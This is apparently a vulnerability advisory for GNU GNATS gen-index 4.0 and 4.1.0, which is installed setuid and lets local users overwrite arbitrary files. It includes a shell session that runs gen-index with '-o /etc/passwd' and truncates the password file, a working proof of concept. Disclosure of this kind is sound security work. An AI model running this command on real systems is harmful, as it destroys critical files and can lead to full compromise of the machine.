18 lines
No EOL
834 B
Text
18 lines
No EOL
834 B
Text
source: https://www.securityfocus.com/bid/14169/info
|
|
|
|
GNU GNATS gen-index allows local attackers to disclose and overwrite arbitrary files.
|
|
|
|
A successful attack can result in privilege escalation and a complete compromise of the affected computer as gen-index is installed with setuid permissions.
|
|
|
|
GNU GNATS 4.0 and 4.1.0 are reported to be affected. Other versions may be vulnerable as well.
|
|
|
|
pi3@darkstar:~$ pwd
|
|
/home/pi3
|
|
pi3@darkstar:~$ ls -alh /etc/passwd
|
|
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
|
|
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
|
|
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
|
|
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
|
|
pi3@darkstar:~$ ls -alh /etc/passwd
|
|
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
|
|
pi3@darkstar:~$ cat /etc/passwd |